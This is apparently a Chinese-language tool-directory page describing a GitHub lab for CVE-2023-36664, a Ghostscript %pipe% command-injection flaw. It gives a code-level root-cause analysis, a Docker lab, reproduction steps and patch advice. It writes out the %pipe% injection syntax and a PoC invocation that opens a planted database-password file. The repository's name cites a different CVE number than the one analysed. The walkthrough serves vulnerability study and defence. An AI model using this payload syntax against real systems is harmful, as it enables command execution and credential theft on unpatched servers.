Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
cve-2023-34446 — 针对CVE-2023-36664(一个Ghostscript命令注入漏洞)的概念验证利用代码。包含Docker实验环境、管道验证绕过的详细分析以及逐步复现指南。 | Kitploit
工具/GitHubGitHub/minsmiths/cve-2023-34446
漏洞分析代码分析漏洞利用学习与教育二进制利用实验室与实践
GitHubminsmiths/cve-2023-34446

cve-2023-34446

针对CVE-2023-36664(一个Ghostscript命令注入漏洞)的概念验证利用代码。包含Docker实验环境、管道验证绕过的详细分析以及逐步复现指南。

查看仓库
1个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2023-36664: Ghostscript 远程代码执行

漏洞摘要

CVE ID: CVE-2023-36664
产品: Ghostscript (< 10.01.2)
漏洞类型: 远程代码执行 (RCE)

概述

本漏洞 (CVE-2023-36664) 是由于 Ghostscript 对管道设备(%pipe% 或 | 前缀)的路径权限验证处理不完善而导致的任意代码执行 (RCE) 漏洞。

攻击者精心构造的恶意文档文件 (PS/EPS) 在被系统解析或处理的过程中,可在未经用户授权的情况下执行任意系统命令。

[概念说明] 了解 Ghostscript 与管道 (Pipe)

1. Ghostscript 是什么?

主要作用:它读取本质上是文本的图形坐标代码(例如“在 100 200 位置画一条线”),并将其转换为我们在显示器上看到或在打印机上输出的图像文件。

2. 管道 (Pipe) 是什么?

管道是一种功能,它可以将一个应用程序的输出连接到另一个应用程序的输入,从而实现软件之间的相互通信。在命令中,用 | 符号表示。

示例:cat /etc/hosts | grep localhost

  • cat 命令提取的所有文本数据会通过管道 (|) 直接传递给 grep 命令作为输入,从而只过滤出包含 “localhost” 的行。

漏洞理解

漏洞的根本原因

Ghostscript 在安全模式(-dSAFER)开启时,会严格检查文件路径,以防止访问系统敏感文件或随意执行外部命令。

问题:当攻击者在文件路径位置精心构造并插入并非普通文件名的管道设备前缀(%pipe% 或 |)时,Ghostscript 内部的权限验证逻辑未能正确识别该前缀,将其误认为是“安全路径”或“无需验证的对象”而放行。

结果:原本应该被过滤掉的危险命令轻松绕过了验证循环。

漏洞的执行机制

恶意文件注入:攻击者在 PostScript (.ps/.eps) 文件内部植入形如 (%pipe%恶意命令) (模式) file /DCTDecode filter 的代码。

解析与误判:Ghostscript 读取并处理该文件时,权限验证步骤(守门员)无错误地通过了。

传递给操作系统 Shell:通过管道设备功能,通过验证的命令流直接传递给操作系统内部的 Shell(如 Linux 的 sh 或 Windows 的 cmd),并以后台权限执行。

查看漏洞代码

查看已修补的代码,可以看到以下两个 .c 文件被修改:

  1. base/gpmisc.c
  2. base/gslibctx.c

通过查看 gpmisc.c 即可理解漏洞。

png2

此漏洞的核心在于,%pipe% 等特殊路径未能与普通文件路径正确区分,而是被当作普通路径处理。

路径清理函数:gp_file_name_reduce

为了确认这一点,有必要查看清理文件路径的函数。在 gpmisc.c 中负责整理路径的函数是 gp_file_name_reduce(...),它内部调用 gp_file_name_combine() 并返回其结果。

root@kitploit:~
gp_file_name_reduce(const char *fname, uint flen, char *buffer, uint *blen) {
    return gp_file_name_combine(fname, flen, fname + flen, 0, false, buffer, blen);
}

gp_file_name_combine() 顾名思义,是一个去除传入文件路径中 ./、// 等多余相对路径表示的函数。

问题就在这里。如果传入该函数的不是普通文件路径,而是像 %pipe% 这样会触发命令执行的特殊字符串,函数无法将其识别为有效的路径模式,直接原样返回原字符串,不做任何处理。

验证逻辑缺失:gp_validate_path_len

png1

gp_validate_path_len(...) 内部调用 gp_file_name_reduce() 来验证路径,但在此过程中,并不存在区分输入是普通文件路径还是 %pipe% 等命令执行语法的独立验证逻辑。

结果:包含 %pipe% 的字符串未经过任何过滤直接通过,这就是本漏洞的根本原因。

因此,如果 %pipe%touch /tmp/pwned 这样的字符串被作为文件路径传递,用户本意只是渲染图片文件,但实际却执行了 touch /tmp/pwned 命令,导致 /tmp/pwned 文件被创建。

架构

root@kitploit:~
┌─────────────────────────────────┐
│  Docker Container            │
│  (Ubuntu 22.04 + Ghostscript)   │
│                                 │
│  /home/test/               ← 工作目录
│  ├── poc.py               ← PoC 生成脚本
│  |                              │
│  └── /var/www/html/config.php   ← 敏感信息文件
│                                 │
│  用户: test (非 root)           │
│  Ghostscript: 10.01.1 (易受攻击)│
└─────────────────────────────────┘

这里选择普通账户而非 root 账户的原因是,实际生产服务器出于安全考虑,通常不会直接使用 root 账户。因此,为了尽可能还原实际服务器遭受攻击的场景,基于普通账户构建了环境。

Docker Compose 设置

root@kitploit:~
version: '3.8'

services:
  gs-lab:
    build: .
    container_name: cve_lab
    network_mode: "host"
    environment:
      - DISPLAY=${DISPLAY}
    volumes:
      - /tmp/.X11-unix:/tmp/.X11-unix:ro
      - ./poc.py:/home/test/poc.py
    stdin_open: true
    tty: true

环境变量

  • DISPLAY=${DISPLAY}:将环境变量传递给容器,使容器内的 GUI 应用程序能够访问主机的 X11 显示服务器。

数据卷

  • /tmp/.X11-unix:/tmp/.X11-unix:ro:挂载主机 X11 显示服务器与容器通信所需的 Unix 套接字。
  • ./poc.py:/home/test/poc.py:将主机的本地 PoC 脚本挂载到容器的执行环境中。

Dockerfile

root@kitploit:~
FROM ubuntu:22.04

RUN apt update && \
    apt install -y \
    wget \
    build-essential \
    gedit \
    python3 \
    sudo && \
    rm -rf /var/lib/apt/lists/*


RUN wget https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/download/gs10011/ghostscript-10.01.1.tar.gz && \
    tar -xzf ghostscript-10.01.1.tar.gz

WORKDIR /ghostscript-10.01.1

RUN ./configure && \
    make && \
    make install

RUN mkdir -p /var/www/html && \
    echo "DB_PASSWORD=SuperSecret1234!!!" > /var/www/html/config.php

RUN useradd -m -s /bin/bash test

WORKDIR /home/test
USER test

CMD ["/bin/bash"]

基本 apt install

构建基本的 PoC 环境需要:用于下载易受攻击的 Ghostscript 版本的 wget、解压 tar.gz 后安装源码所需的 build-essential、执行 .ps 时恶意弹出的记事本 (gedit) 等。

Ghostscript 10.01.1 安装

png3 png4 易受攻击的 Ghostscript 版本 10.01.1 是从 Git 下载源码并安装的。RUN ./configure && \ make && \ make install 是根据下载的源码文件夹中的使用说明进行的安装。

要窃取的信息

通常 /var/www/html/config.php 中包含 Web 应用程序的核心配置值,例如数据库名称、密码。 因此,假设要窃取数据库密码,创建了 config.php 文件,内容为任意数据库密码。

创建普通账户

由于将使用普通账户 test(而非 root)进行 PoC,因此创建新用户。


复现步骤

1. 搭建环境

root@kitploit:~
# 构建 Docker 镜像
docker compose -f docker-compose.yml up -d

# 运行容器
docker exec -it cve_lab bash

2. 生成 PoC 文件

在容器内执行: png5

root@kitploit:~
python3 poc.py -p "gedit /var/www/html/config.php" -m r -f test

生成结果: png6

可见输入的恶意路径已成功写入 .ps 文件中。

3. 用 Ghostscript 处理恶意文件

root@kitploit:~
gs -dNOSAFER test.ps

png7

4. 验证结果

gedit 自动打开,并显示 /var/www/html/config.php 的内容。

root@kitploit:~
DB_PASSWORD=SuperSecret1234!!!

应对措施

png8

1. 应用安全补丁并进行更新

必须升级到官方已修复漏洞的 Ghostscript 10.01.2 或更高版本。

2. 通过分析补丁源码了解防御机制

官方补丁在 gp_validate_path_len() 函数中,在调用 gp_file_name_reduce() 之前增加了验证逻辑。

强制检测并阻断管道特殊字符串:新增了分支语句,专门检测输入路径前缀是否以 %pipe% 或 | 符号开头。

官方补丁版本:https://github.com/ArtifexSoftware/ghostpdl/commit/5f56c6f6f989816fc9cc671116740acecbed5b6c

参考资料

  • CVE 官方页面: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-36664
  • CVE 理解: https://www.vicarius.io/vsociety/posts/cve-2023-36664-command-injection-with-ghostscript
  • PoC 复现: https://github.com/jakabakos/CVE-2023-36664-Ghostscript-command-injection

下载工具